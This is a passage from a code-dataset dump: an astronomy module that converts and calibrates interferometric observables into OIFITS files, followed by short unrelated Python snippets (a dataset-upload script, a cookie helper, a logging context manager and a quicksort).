visphi_in = nrm_t.fp\n vis2_in = visamp_in**2\n shift2pi = np.zeros(nrm_t.cp.shape)\n shift2pi[nrm_t.cp >= 6] = 2 * np.pi\n shift2pi[nrm_t.cp <= -6] = -2 * np.pi\n\n nrm_t.cp -= shift2pi\n\n cp_in = nrm_t.cp\n cpamp_in = nrm_t.ca\n pistons_in = nrm_t.pistons\n\n\n if method == 'multi':\n vis2 = vis2_in.T\n e_vis2 = np.zeros(vis2.shape)\n visamp = visamp_in.T\n e_visamp = np.zeros(visamp.shape)\n visphi = visphi_in.T\n e_visphi = np.zeros(visphi.shape)\n cp = cp_in.T\n e_cp = np.zeros(cp.shape)\n cpamp = cpamp_in.T\n e_cpamp = np.zeros(cpamp.shape)\n pist = pistons_in.T\n e_pist = np.zeros(pist.shape)\n elif method == 'med':\n vis2 = np.median(vis2_in, axis=0) # V2\n e_vis2 = np.std(vis2_in, axis=0) # Error on V2\n visamp = np.median(visamp_in, axis=0) # Vis. amp\n e_visamp = np.std(visamp_in, axis=0) # Error on Vis. amp\n visphi = np.median(visphi_in, axis=0) # Vis. phase\n e_visphi = np.std(visphi_in, axis=0)\n cp = np.median(cp_in, axis=0)\n e_cp = np.std(cp_in, axis=0)\n cpamp = np.median(cpamp_in, axis=0)\n e_cpamp = np.std(cpamp_in, axis=0)\n pist = np.median(pistons_in, axis=0)\n e_pist = np.std(pistons_in, axis=0)\n else:\n vis2 = np.mean(vis2_in, axis=0) # V2\n e_vis2 = np.std(vis2_in, axis=0) # Error on V2\n visamp = np.mean(visamp_in, axis=0) # Vis. amp\n e_visamp = np.std(visamp_in, axis=0) # Error on Vis. amp\n visphi = np.mean(visphi_in, axis=0) # Vis. phase\n e_visphi = np.std(visphi_in, axis=0) # Error on Vis. phase\n cp = np.mean(cp_in, axis=0)\n e_cp = np.std(cp_in, axis=0)\n cpamp = np.mean(cpamp_in, axis=0)\n e_cpamp = np.std(cpamp_in, axis=0)\n pist = np.mean(pistons_in, axis=0)\n e_pist = np.std(pistons_in, axis=0)\n\n\n output = {'vis2': vis2,\n 'e_vis2': e_vis2,\n 'visamp': visamp,\n 'e_visamp': e_visamp,\n 'visphi': visphi,\n 'e_visphi': e_visphi,\n 'cp': cp,\n 'e_cp': e_cp,\n 'cpamp': cpamp,\n 'e_cpamp': e_cpamp,\n 'pist': pist,\n 'e_pist': e_pist\n }\n\n return dict2class(output)\n\n# ################# reading oifits into memory..\n# ### Later we can create default values for each attribute's attributes to handle\n# ### observables without errors, and so on.\n# def calibrate_observable(tgt, cal):\n# \"\"\"\n# input: two observabless (such as one gets from Dict2Observable)\n# return an observable object (such as one gets from Dict2Observable) that is calibrated.\n# \"\"\"\n# obs=copy.deepcopy(tgt)\n#\n# obs.vis2obj.vis2 = tgt.vis2obj.vis2 / cal.vis2obj.vis2\n# obs.vis2obj.e_vis2 = np.sqrt(tgt.vis2obj.e_vis2*tgt.vis2obj.e_vis2 +\n# cal.vis2obj.e_vis2*cal.vis2obj.e_vis2)\n#\n# obs.visobj.visamp = tgt.visobj.visamp / cal.visobj.visamp\n# obs.visobj.e_visamp = np.sqrt(tgt.visobj.e_visamp*tgt.visobj.e_visamp + \\\n# cal.visobj.e_visamp*cal.visobj.e_visamp)\n#\n# obs.visobj.visphi = tgt.visobj.visphi - cal.visobj.visphi\n# obs.visobj.e_visphi = np.sqrt(tgt.visobj.e_visphi*tgt.visobj.e_visphi +\\\n# tgt.visobj.e_visphi*tgt.visobj.e_visphi)\n#\n# obs.t3obj.cp = tgt.t3obj.cp - cal.t3obj.cp\n# obs.t3obj.e_cp = np.sqrt(tgt.t3obj.e_cp*tgt.t3obj.e_cp + \\\n# cal.t3obj.e_cp*cal.t3obj.e_cp)\n# obs.t3obj.cpamp = tgt.t3obj.cpamp / cal.t3obj.cpamp\n#\n# return obs\n#\n#\n# class Infoobj():\n# def __init__(self):\n# return None\n# class Visobj():\n# def __init__(self):\n# return None\n# class Vis2obj():\n# def __init__(self):\n# return None\n# class T3obj():\n# def __init__(self):\n# return None\n# class WLobj():\n# def __init__(self):\n# return None\n# class DictToObservable():\n# \"\"\"\n# Convert a dictionary compatible with oifits.save to an in-memory\n# Observable object that is organized similar to an oifits file's entries.\n#\n# This is different storage orgnization than the readobservablefromyext utility.A\n# The latter is more mplaneia-centric in organization, using a dictionary\n# info4oif to enable oifits writing.\n#\n# Some day implaneia might become natively oifits-like in observables' organization...\n#\n# anand@stsci.edu 2020.07.17\n# \"\"\"\n#\n# def __init__(self, dct, verbose=False):\n#\n# \"\"\"\n# dct: dictionary resulting from oifits.load() of an oifits file\n# returns an nrm \"observble\" with four attributes,\n# self.vis2obj\n# self.visobj\n# self.t3obj\n# self.wlobj\n# that each contain the associated oifits->dictionary elements.\n#\n# This internal memory-only use is used for eg calibrating an observation with another, or\n# playing with multiple calbrators, each read into one such Observable..\n#\n# Usage: e.g.\n#\n# tgt = Dict2Observable(dct_abdor)\n# c_1 = Dict2Observable(dct_c_1)\n# c_2 = Dict2Observable(dct_c_2)\n# \"\"\"\n#\n# vis2obj = Vis2obj()\n# vis2obj.vis2 = dct['OI_VIS2']['VIS2DATA']\n# vis2obj.e_vis2 = dct['OI_VIS2']['VIS2ERR']\n# vis2obj.ucoord = dct['OI_VIS2']['UCOORD']\n# vis2obj.vcoord = dct['OI_VIS2']['VCOORD']\n# vis2obj.bholes = dct['OI_VIS2']['STA_INDEX']\n# vis2obj.t = Time(dct['OI_VIS2']['MJD'], format='mjd')\n# vis2obj.itime = dct['OI_VIS2']['INT_TIME']\n# vis2obj.time = dct['OI_VIS2']['TIME']\n# vis2obj.target_id = dct['OI_VIS2']['TARGET_ID']\n# vis2obj.flagVis = dct['OI_VIS2']['FLAG']\n# vis2obj.bl_vis= dct['OI_VIS2']['BL']\n# self.vis2obj = vis2obj\n#\n# visobj = Visobj()\n# visobj.target_id = dct['OI_VIS']['TARGET_ID']\n# visobj.t = Time(dct['OI_VIS']['MJD'], format='mjd')\n# visobj.itime = dct['OI_VIS']['INT_TIME']\n# visobj.time = dct['OI_VIS']['TIME']\n# visobj.visamp = dct['OI_VIS']['VISAMP']\n# visobj.e_visamp = dct['OI_VIS']['VISAMPERR']\n# visobj.visphi = dct['OI_VIS']['VISPHI']\n# visobj.e_visphi = dct['OI_VIS']['VISPHIERR']\n# visobj.ucoord = dct['OI_VIS']['UCOORD']\n# visobj.vcoord = dct['OI_VIS']['VCOORD']\n# visobj.bholes = dct['OI_VIS']['STA_INDEX']\n# visobj.flagVis = dct['OI_VIS']['FLAG']\n# visobj.bl_vis = dct['OI_VIS']['BL']\n# self.visobj = visobj\n#\n# t3obj = T3obj()\n# t3obj.t = Time(dct['OI_T3']['MJD'], format='mjd')\n# t3obj.itime = dct['OI_T3']['INT_TIME']\n# t3obj.cp = dct['OI_T3']['T3PHI']\n# t3obj.e_cp = dct['OI_T3']['T3PHIERR']\n# t3obj.cpamp = dct['OI_T3']['T3AMP']\n# t3obj.e_cp = dct['OI_T3']['T3AMPERR']\n# t3obj.u1coord = dct['OI_T3']['U1COORD']\n# t3obj.v1coord = dct['OI_T3']['V1COORD']\n# t3obj.u2coord = dct['OI_T3']['U2COORD']\n# t3obj.v2coord = dct['OI_T3']['V2COORD']\n# t3obj.tholes = dct['OI_T3']['STA_INDEX']\n# t3obj.flagT3 = dct['OI_T3']['FLAG']\n# t3obj.bl_cp = dct['OI_T3']['BL']\n# self.t3obj = t3obj\n#\n#\n# wlobj = WLobj()\n# wlobj.wl = dct['OI_WAVELENGTH']['EFF_WAVE']\n# wlobj.e_wl = dct['OI_WAVELENGTH']['EFF_BAND']\n# self.wlobj = wlobj\n#\n# infoobj = Infoobj()\n# infoobj.target = dct['info']['TARGET'],\n# infoobj.calib = dct['info']['CALIB'],\n# infoobj.object = dct['info']['OBJECT'],\n# infoobj.filt = dct['info']['FILT'],\n# infoobj.instrume = dct['info']['INSTRUME']\n# infoobj.arrname = dct['info']['MASK']\n# infoobj.mjd = dct['info']['MJD'],\n# infoobj.dateobs = dct['info']['DATE-OBS'],\n# infoobj.telname = dct['info']['TELESCOP']\n# infoobj.observer = dct['info']['OBSERVER']\n# infoobj.insmode = dct['info']['INSMODE']\n# infoobj.pscale = dct['info']['PSCALE']\n# infoobj.staxy = dct['info']['STAXY']\n# infoobj.isz = dct['info']['ISZ'],\n# infoobj.nfile = dct['info']['NFILE']\n# self.infoobj = infoobj\n#\n# \"\"\"\n# info = {} #mimic implaneia's catchall info dictionary\n# 'info': {'TARGET': info['objname'],\n# 'CALIB': info['objname'],\n# 'OBJECT': info['objname'],\n# 'FILT': info['filt'],\n# 'INSTRUME': info['instrument'],\n# 'MASK': info['arrname'],\n# 'MJD': t.mjd,\n# 'DATE-OBS': t.fits,\n# 'TELESCOP': info['telname'],\n# 'OBSERVER': 'UNKNOWN',\n# 'INSMODE': info['pupil'],\n# 'PSCALE': info['pscale_mas'],\n# 'STAXY': info['ctrs_inst'], #?\n# 'ISZ': 77, # size of the image needed (or fov)\n# 'NFILE': 0}\n# }\n# \"\"\"\n# return\n# #\n# #\n# ################## reading oifits into memory... end\n\ndef observable2dict(nrm, multi=False, display=False):\n \"\"\" Convert nrm data in an Observable loaded with `ObservablesFromText` into \n a dictionary compatible with oifits.save and oifits.show function.\n nrm: an ObservablesFromText object, treated as a target if nrm_c=None\n multi: Bool. If true, do not take mean or median of slices\n (preserve separate integrations)\n \"\"\"\n\n info4oif = nrm.info4oif_dict\n ctrs_inst = info4oif['ctrs_inst']\n t = Time('%s-%s-%s' %\n (info4oif['year'], info4oif['month'], info4oif['day']), format='fits')\n ins = info4oif['telname']\n filt = info4oif['filt']\n\n wl, e_wl = oifits.GetWavelength(ins, filt)\n\n bls = nrm.bls\n # Index 0 and 1 reversed to get the good u-v coverage (same fft)\n ucoord = bls[:, 1]\n vcoord = bls[:, 0]\n\n D = 6.5 # Primary mirror display\n\n theta = np.linspace(0, 2*np.pi, 100)\n\n x = D/2. * np.cos(theta) # Primary mirror display\n y = D/2. * np.sin(theta)\n\n bl_vis = ((ucoord**2 + vcoord**2)**0.5)\n\n tuv = nrm.tuv\n v1coord = tuv[:, 0, 0]\n u1coord = tuv[:, 0, 1]\n v2coord = tuv[:, 1, 0]\n u2coord = tuv[:, 1, 1]\n u3coord = -(u1coord+u2coord)\n v3coord = -(v1coord+v2coord)\n\n bl_cp = []\n n_bispect = len(v1coord)\n for k in range(n_bispect):\n B1 = np.sqrt(u1coord[k] ** 2 + v1coord[k] ** 2)\n B2 = np.sqrt(u2coord[k] ** 2 + v2coord[k] ** 2)\n B3 = np.sqrt(u3coord[k] ** 2 + v3coord[k] ** 2)\n bl_cp.append(np.max([B1, B2, B3])) # rad-1\n bl_cp = np.array(bl_cp)\n\n flagVis = [False] * nrm.nbl\n flagT3 = [False] * nrm.ncp\n\n if multi == True:\n nrmd2c = populate_NRM(nrm, method='multi') # RAC 2021\n else:\n nrmd2c = populate_NRM(nrm, method='med')\n\n dct = {'OI_VIS2': {'VIS2DATA': nrmd2c.vis2,\n 'VIS2ERR': nrmd2c.e_vis2,\n 'UCOORD': ucoord,\n 'VCOORD': vcoord,\n 'STA_INDEX': nrm.bholes,\n 'MJD': t.mjd,\n 'INT_TIME': info4oif['itime'],\n 'TIME': 0,\n 'TARGET_ID': 1,\n 'FLAG': flagVis,\n 'BL': bl_vis\n },\n\n 'OI_VIS': {'TARGET_ID': 1,\n 'TIME': 0,\n 'MJD': t.mjd,\n 'INT_TIME': info4oif['itime'],\n 'VISAMP': nrmd2c.visamp,\n 'VISAMPERR': nrmd2c.e_visamp,\n 'VISPHI': nrmd2c.visphi,\n 'VISPHIERR': nrmd2c.e_visphi,\n 'UCOORD': ucoord,\n 'VCOORD': vcoord,\n 'STA_INDEX': nrm.bholes,\n 'FLAG': flagVis,\n 'BL': bl_vis\n },\n\n 'OI_T3': {'TARGET_ID': 1,\n 'TIME': 0,\n 'MJD': t.mjd,\n 'INT_TIME': info4oif['itime'],\n 'T3PHI': nrmd2c.cp,\n 'T3PHIERR': nrmd2c.e_cp,\n 'T3AMP': nrmd2c.cpamp,\n 'T3AMPERR': nrmd2c.e_cp,\n 'U1COORD': u1coord,\n 'V1COORD': v1coord,\n 'U2COORD': u2coord,\n 'V2COORD': v2coord,\n 'STA_INDEX': nrm.tholes,\n 'FLAG': flagT3,\n 'BL': bl_cp\n },\n\n 'OI_WAVELENGTH': {'EFF_WAVE': wl,\n 'EFF_BAND': e_wl\n },\n\n 'info': {'TARGET': info4oif['objname'],\n 'CALIB': info4oif['objname'],\n 'OBJECT': info4oif['objname'],\n 'FILT': info4oif['filt'],\n 'INSTRUME': info4oif['instrument'],\n 'ARRNAME': info4oif['arrname'],\n 'MASK': info4oif['arrname'], # oifits.py looks for dct.info['MASK']\n 'MJD': t.mjd,\n 'DATE-OBS': t.fits,\n 'TELESCOP': info4oif['telname'],\n 'OBSERVER': 'UNKNOWN',\n 'INSMODE': info4oif['pupil'],\n 'PSCALE': info4oif['pscale_mas'],\n 'STAXY': info4oif['ctrs_inst'], # as-built mask hole coords\n 'ISZ': 77, # size of the image needed (or fov)\n 'NFILE': 0,\n 'PA': info4oif['pa'],\n 'CTRS_EQT':info4oif['ctrs_eqt'], # mask hole coords rotated to equatotial\n 'PISTONS': nrmd2c.pist, # RAC 2021\n 'PIST_ERR': nrmd2c.e_pist\n }\n }\n\n if display:\n plt.figure(figsize=(14.2, 7))\n plt.subplot(1, 2, 1)\n # Index 0 and 1 reversed to get the good u-v coverage (same fft)\n #lt.scatter(ctrs[:, 1], ctrs[:, 0], s=2e3, c='', edgecolors='navy')\n plt.scatter(ctrs[:, 1], ctrs[:, 0], s=2e3, edgecolors='navy')\n #lt.scatter(-1000, 1000, s=5e1, c='',\n plt.scatter(-1000, 1000, s=5e1, \n edgecolors='navy', label='Aperture mask')\n plt.plot(x, y, '--', color='gray', label='Primary mirror equivalent')\n\n plt.xlabel('Aperture x-coordinate [m]')\n plt.ylabel('Aperture y-coordinate [m]')\n plt.legend(fontsize=8)\n plt.axis([-4., 4., -4., 4.])\n\n plt.subplot(1, 2, 2)\n #lt.scatter(ucoord, vcoord, s=1e2, c='', edgecolors='navy')\n plt.scatter(ucoord, vcoord, s=1e2, edgecolors='navy')\n #lt.scatter(-ucoord, -vcoord, s=1e2, c='', edgecolors='crimson')\n plt.scatter(-ucoord, -vcoord, s=1e2, edgecolors='crimson')\n\n plt.plot(0, 0, 'k+')\n plt.axis((D, -D, -D, D))\n plt.xlabel('Fourier u-coordinate [m]')\n plt.ylabel('Fourier v-coordinate [m]')\n plt.tight_layout()\n\n Plot_observables(nrm, display=display)\n #if nrm_c: Plot_observables(nrm_c=display) # Plot calibrated or single object raw oifits data\n return dct\n\n\ndef oitxt2oif(nh=None, oitdir=None, oifn='', oifdir=None, verbose=False):\n \"\"\"\n The interface routine called by implaneia's fit_fringes.\n Input: \n oitdir (str) Directory where implaneia wrote the observables\n observable files are named: CPs_nn.txt, amplitudes_nn.txt, and so on\n 02d format numbers, 00 start, number the slices in the \n image 3D datacube processed by implaneia.\n oifn (str) oifits file root name specified bt the driver (eg FitFringes.fringefitter())\n oifdir (str) Directory to write the oifits file in\n\n Typically the dir names are full path (\"/User/.../\"\n\n Used to be \n def implane2oifits2(OV, objecttextdir_c, objecttextdir_t, oifprefix, datadir):\n which calibrated a target with a calibrator and wrote single oifits file.\n Converted here to only write one oifits file to disk, including stats\n for the object's observables\n \"\"\"\n nrm = ObservablesFromText(nh, oitdir, verbose=verbose) # read in the nrm observables\n dct = observable2dict(nrm, display=False) # populate Anthony's dictionary suitable for oifits.py\n # nrm_c defaults to false: do not calibrate, no cal star given\n oifits.save(dct, filename=oifn, datadir=oifdir, verbose=False)\n # save multi-slice fits\n dct_multi = observable2dict(nrm, multi=True, display=False)\n oifits.save(dct_multi, filename='multi_'+oifn, datadir=oifdir, verbose=False)\n print('\\n in oifits directory {0:s}'.format(oifdir))\n return dct\n\ndef calib_dicts(dct_t, dct_c):\n \"\"\"\n Takes two dicts from OIFITS files, such as those read with oifits.load()\n Calibrates closure phases and fringe amplitudes of target by calibrator\n by subtracting closure phases of calibrator from those of target,\n and dividing fringe amps of target by fringe amps of calibrator\n Input:\n dct_t (dict): oifits-compatible dictionary of target observables/info\n dct_c (dict): oifits-compatible dictionary of calibrator observables/info\n Returns:\n calib_dict (dict): oifits-compatible dictionary of calibrated observables/info\n \"\"\"\n # cp is closure phase\n # sqv is square visibility\n # va is visibility amplitude\n\n cp_out = dct_t['OI_T3']['T3PHI'] - dct_c['OI_T3']['T3PHI']\n sqv_out = dct_t['OI_VIS2']['VIS2DATA'] / dct_c['OI_VIS2']['VIS2DATA']\n va_out = dct_t['OI_VIS']['VISAMP'] / dct_c['OI_VIS']['VISAMP']\n # now using correct propagation of error for multiplication/division\n # which assumes uncorrelated Gaussian errors (not true...?) \n cperr_t = dct_t['OI_T3']['T3PHIERR']\n cperr_c = dct_c['OI_T3']['T3PHIERR']\n sqverr_c = dct_t['OI_VIS2']['VIS2ERR']\n sqverr_t = dct_c['OI_VIS2']['VIS2ERR']\n vaerr_t = dct_t['OI_VIS']['VISAMPERR']\n vaerr_c = dct_c['OI_VIS']['VISAMPERR']\n cperr_out = np.sqrt(cperr_t**2. + cperr_c**2.)\n sqverr_out = sqv_out * np.sqrt((sqverr_t/dct_t['OI_VIS2']['VIS2DATA'])**2. + (sqverr_c/dct_c['OI_VIS2']['VIS2DATA'])**2.)\n vaerr_out = va_out * np.sqrt((vaerr_t/dct_t['OI_VIS']['VISAMP'])**2. + (vaerr_c/dct_c['OI_VIS']['VISAMP'])**2.)\n\n # copy the target dict and modify with the calibrated observables\n calib_dict = dct_t.copy()\n calib_dict['OI_T3']['T3PHI'] = cp_out\n calib_dict['OI_VIS2']['VIS2DATA'] = sqv_out\n calib_dict['OI_VIS']['VISAMP'] = va_out\n calib_dict['OI_T3']['T3PHIERR'] = cperr_out\n calib_dict['OI_VIS2']['VIS2ERR'] = sqverr_out\n calib_dict['OI_VIS']['VISAMPERR'] = vaerr_out\n # preserve the name of the calibrator star\n calib_dict['info']['CALIB'] = dct_c['info']['OBJECT']\n # include pistons and piston errors from target and calibrator\n # if old files, raw oifits won't have any pistons\n if ('PISTONS' in dct_t['OI_ARRAY']) & ('PISTONS' in dct_c['OI_ARRAY']):\n pistons_t = dct_t['OI_ARRAY']['PISTONS']\n pisterr_t = dct_t['OI_ARRAY']['PIST_ERR']\n pistons_c = dct_c['OI_ARRAY']['PISTONS']\n pisterr_c = dct_c['OI_ARRAY']['PIST_ERR']\n # sum in quadrature errors from target and calibrator pistons (only if both oifits contain pistons)\n pisterr_out = np.sqrt(pisterr_t**2 + pisterr_c**2)\n # populate calibrated dict with pistons \n calib_dict['OI_ARRAY']['PISTON_T'] = pistons_t\n calib_dict['OI_ARRAY']['PISTON_C'] = pistons_c\n calib_dict['OI_ARRAY']['PIST_ERR'] = pisterr_out\n # remove plain \"pistons\" key from dict\n if 'PISTONS' in calib_dict['OI_ARRAY']:\n del calib_dict['OI_ARRAY']['PISTONS']\n\n return calib_dict\n\n\n\ndef calibrate_oifits(oif_t, oif_c, oifn=None, oifdir=None, **kwargs):\n \"\"\"\n Take an OIFITS file of the target and an OIFITS file of the calibrator and\n produce a single normalized OIFITS file.\n Input:\n oif_t (str): file name of the target OIFITS file\n oif_c (str): file name of the calibrator OIFITS file\n oifn (str): calibrated oifits output name\n oifdir (str): Directory to write the oifits file in (default cwd)\n Returns:\n calibrated (dict): dict containing calibrated OIFITS information,\n calibrated oifits filename\n \"\"\"\n # housekeeping:\n # construct an output filename from the input names if none is provided\n if oifn is None:\n bn_t = os.path.basename(oif_t).split('.oifits')[0]\n bn_c = os.path.basename(oif_c).split('.oifits')[0]\n oifn = bn_t + '_cal_' + bn_c + '.oifits'\n\n rfn = False # anand 2022.01.13 return calib dict as before\n if 'returnfilename' in kwargs: # anand 2022.01.13\n rfn = True # return tuple of calib dictionary as well as oif calibrated filename\n\n # backwards compatibility with old kwargs:\n if 'oifprefix' in kwargs:\n oifn = kwargs['oifprefix']+oifn # use the prefix + fn constructed from input\n if 'datadir' in kwargs:\n oifdir = kwargs['datadir']\n if oifdir is None:\n oifdir = './'\n # if name doesn't end in '.oifits', change it.\n if oifn[-7:] != '.oifits':\n if oifn[-5:] == '.fits':\n oifn = oifn.replace('.fits', '.oifits')\n else:\n oifn = oifn + '.oifits'\n # load in the nrm observables dict from each oifits\n targ = oifits.load(oif_t)\n calb = oifits.load(oif_c)\n # calibrate the target by the calibrator\n # this produces a single calibrated nrm dict\n calibrated = calib_dicts(targ, calb)\n\n oifits.save(calibrated, filename=oifn, datadir=oifdir)\n print('\\n in oifits directory {0:s}'.format(oifdir))\n\n if rfn: return calibrated, os.path.join(oifdir, oifn)\n else: return calibrated\n\ndef frame_select(calintsfn, nsigma=1, save_mtfs=True):\n \"\"\"\n Takes a calints file and performs frame selection based on the FT of each integration.\n Integrations where the sum of the central 9 pixels of the MTF is more than nsigma from the mean\n are discarded. Returns list of good indices.\n \"\"\"\n with fits.open(calintsfn) as hdu:\n data = hdu['SCI'].data\n imsz = data.shape\n if len(imsz) != 3:\n raise Exception('Image must be 3d multi-integration (calints file)')\n maxlist = []\n for j in range(imsz[0]):\n maxlist += [np.unravel_index(np.argmax(data[j]), data[j].shape)] \n maxlist = np.array(maxlist)\n xh = min(imsz[1] - stats.mode(maxlist[:, 0]).mode, stats.mode(maxlist[:, 0]).mode - 4) # the bottom 4 rows are reference pixels\n yh = min(imsz[2] - stats.mode(maxlist[:, 1]).mode, stats.mode(maxlist[:, 1]).mode - 0)\n sh = min(xh, yh)\n peak = stats.mode(maxlist).mode\n peak0,peak1 = peak[0][0],peak[0][1]\n print(' Cropping all frames to %.0fx%.0f pixels' % (2*sh+1, 2*sh+1))\n centered_data = data[:,int(peak0-sh):int(peak0+sh+1),int(peak1-sh):int(peak1+sh+1)]\n # Code adapted from Joel SB's SAMpip\n mtf_ims = np.zeros_like(centered_data)\n peaks = np.zeros(imsz[0])\n for www in range(imsz[0]):\n im = np.abs(np.fft.fftshift(np.fft.ifft2(centered_data[www,:,:])))\n mtf_ims[www,:,:] = im\n ind_peakx, ind_peaky = np.where(im == np.max(im))\n peaks[www] = np.sum(im[int(ind_peakx-1):int(ind_peakx+2), int(ind_peaky-1):int(ind_peaky+2)])\n [indx] = np.where((peaks >= np.mean(peaks)-np.std(peaks)*nsigma) & (peaks <= np.mean(peaks)+np.std(peaks)*nsigma))\n ngood = len(indx)\n nbad = imsz[0] - ngood\n print(' %i/%i frames rejected with %.1f sigma threshold' %(nbad,imsz[0],nsigma))\n if save_mtfs==True:\n mtf_name = calintsfn.replace('.fits','_mtfs.fits')\n fits.writeto(mtf_name, mtf_ims, overwrite=True)\n print('MTFs saved to %s' % mtf_name)\n return indx\n\n\ndef clip_oifits(oifitsfn, good_indices, method='med', suffix=''):\n \"\"\"\n Takes an OIFITS filename and list of good integration indices and outputs\n updated OIFITS files using only those integrations.\n TO DO: save mtf peak sums, DC term, constant flux term somewhere in OIFITS header\n \"\"\"\n indir, bn = os.path.split(oifitsfn)\n nrm_dct = oifits.load(oifitsfn)\n obsarr = nrm_dct['OI_VIS']['VISAMP'] # for checking observable array shape\n if suffix == '':\n suffix = 'trim'\n if (len(obsarr.shape)==1) | (obsarr.shape[1] == 1):\n raise Exception('Multi-integration oifits file expected (2d observable arrays)')\n print('Reading multi-integration OIFITS file...')\n # arrays to update\n namedict = {'OI_VIS':['VISAMP','VISAMPERR','VISPHI','VISPHIERR'],\n 'OI_VIS2':['VIS2DATA','VIS2ERR'],\n 'OI_T3':['T3AMP','T3AMPERR','T3PHI','T3PHIERR']}\n \n outdict_multi = copy.deepcopy(nrm_dct)\n for extname in namedict:\n for colname in namedict[extname]:\n #print(nrm_dct[extname][colname].shape)\n outarr = nrm_dct[extname][colname][:,good_indices]\n # print(extname, colname,nrm_dct[extname][colname].shape,'-->',outarr.shape)\n outdict_multi[extname][colname] = outarr\n multi_outname = bn.replace('.oifits','_%s.oifits'%suffix)\n oifits.save(outdict_multi, filename=multi_outname, datadir=indir) # this saves the trimmed multi-oifits\n # save updated averaged oifits too\n outdict_avg = copy.deepcopy(outdict_multi)\n # default method in populate_NRM is median combination, apply that here too\n for extname in namedict:\n for colname in namedict[extname]:\n if 'ERR' in colname:\n # get the corresponding data column\n datacol = colname.replace('ERR','')\n if datacol == 'VIS2':\n datacol = 'VIS2DATA'\n arr = outdict_multi[extname][datacol]\n outarr = np.std(arr, axis=1)\n else:\n arr = outdict_multi[extname][colname]\n if method=='med':\n outarr = np.median(arr, axis=1)\n else:\n outarr = np.mean(arr, axis=1)\n outdict_avg[extname][colname] = outarr\n avg_outname = bn.replace('multi_','').replace('.oifits','_%s.oifits'%suffix)\n oifits.save(outdict_avg,filename=avg_outname,datadir=indir)\n\n\n\nif __name__ == \"__main__\":\n\n ov_main = 3 # only used to create oifits filename prefix to help organize output\n moduledir = os.path.expanduser('~') + '/gitsrc/ImPlaneIA/' # dirname of where you work\n\n # convert one file...\n oifn_t = \"t_ov{:d}_\".format(ov_main) # mnemonic supplied by driver... \n # if you explore different ov's you can \n # put 'ov%d' in prefix, and save to a directory of your choice.\n oitdir_t = moduledir + \"/example_data/example_niriss/bin_tgt_oitxt/\" # implaneia observables txt dir\n oifdir_t = oitdir_t # could add a subdir but this writes the oifits into text output dir.\n dct = oitxt2oif(nh=7, oitdir=oitdir_t, \n oifn=oifn_t,\n datadir=oifdir_t)\n # oifits.show(dct, diffWl=True)\n # plt.show()\n\n if 0:\n # then convert another file...\n oifn_c = \"c_ov{:d}_\".format(ov_main)\n oitdir_c = moduledir + \"/example_data/example_niriss/bin_cal_oitxt\"\n oifdir_c = oitdir_c + '/Saveoifits/'\n # Convert all txt observables in oitdir to oifits file\n dct = oitxt2oif(nh=7, oitdir=oitdir_c, \n oifn=oifn_c,\n datadir=oifdir_c)\n oifits.show(dct, diffWl=True)\n #plt.show()\n\n","sub_path":"nrm_analysis/misctools/implane2oifits.py","file_name":"implane2oifits.py","file_ext":"py","file_size_in_byte":44809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"428108835","text":"from trains import Task\nfrom datetime import datetime\n\n# create an dataset experiment\ntask = Task.init(project_name=\"diabetes prediction\", task_name=\"upload dataset\", output_uri=\"s3://allegro-datasets/blogs/data-management\",task_type=Task.TaskTypes.data_processing)\n\ndate= {'date': str(datetime.date(datetime.now()))}\n# add and upload local file containing our toy dataset\ntask.upload_artifact('dataset', artifact_object='data/diabetes_input.csv',metadata=date)\n\nprint('uploading artifacts in the background')\n\n# we are done\nprint('see you next time')","sub_path":"dataset_management/upload_dataset.py","file_name":"upload_dataset.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"564149726","text":"import requests\nfrom http.cookies import SimpleCookie\nfrom .base import Base\n\n\nclass Target(Base):\n\n unary = False\n\n def __call__(self, request, set_cookie):\n assert isinstance(set_cookie, str) or isinstance(set_cookie, list), str(set_cookie)\n jar = request.get('cookies', requests.cookies.RequestsCookieJar())\n headers = request.get('headers', {})\n cookie = headers.get('Cookie')\n if cookie:\n jar.update(SimpleCookie(cookie))\n del headers['Cookie']\n cookies = [set_cookie] if isinstance(set_cookie, str) else set_cookie\n for cookie in cookies:\n jar.update(SimpleCookie(cookie))\n request['cookies'] = jar\n return request\n","sub_path":"torabot/core/make/targets/set_cookie.py","file_name":"set_cookie.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"474380542","text":"# with構文を使って、一時的な変更を行いたい\r\n# 例では、withブロック内のみ、ログレベルを変更している。\r\n\r\nimport logging\r\nfrom contextlib import contextmanager\r\n\r\n\r\n@contextmanager\r\ndef set_log_debug_level():\r\n logger = logging.getLogger()\r\n old_log_level = logger.getEffectiveLevel()\r\n print('The default log level is {}.'.format(logging.getLevelName(old_log_level)))\r\n logger.setLevel(logging.DEBUG)\r\n try:\r\n yield\r\n finally:\r\n logger.setLevel(old_log_level)\r\n\r\n\r\ndef log(message):\r\n logging.debug('debug:' + message)\r\n logging.info('info:' + message)\r\n\r\n\r\n# debug、info共に出力される\r\nwith set_log_debug_level():\r\n log('with')\r\n\r\n# 何も出力されない\r\nlog('not with')\r\n","sub_path":"advanced/sample_context_manager_for_logging.py","file_name":"sample_context_manager_for_logging.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"187301247","text":"import random\n\n\ndef qsort(nums, left, right):\n if left >= right:\n return\n i, j = left, right\n med = random.choice(nums[left:right]) # выбираем случайный элемент в списке nums\n while i <= j:\n while nums[i] < med: i += 1\n while nums[j] > med: j -= 1\n if i < j:\n nums[i], nums[j] = nums[j], nums[i]\n i, j = i + 1, j - 1\n elif i == j:\n i, j = i + 1, j - 1\n qsort(nums, left, j)\n qsort(nums, i, right)\n return nums\n\nnums = [x for x in range(30, -20, -3)] + [x * 2 for x in range(15, -1, -1)] + [x * 2 for x in range(2, 20, 2)]\nprint(qsort(nums, 0, len(nums)-1))\n","sub_path":"Practice/algorithms/qsort_without_lists.py","file_name":"qsort_without_lists.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"535082397","text":"#!/usr/bin/python3\r\n#-*-coding:utf-8-*-\r\n# Created By Dapunta\r\n# Thanks To My Teacher Who Has Perfected This Script (Angga Kurniawan & Muh 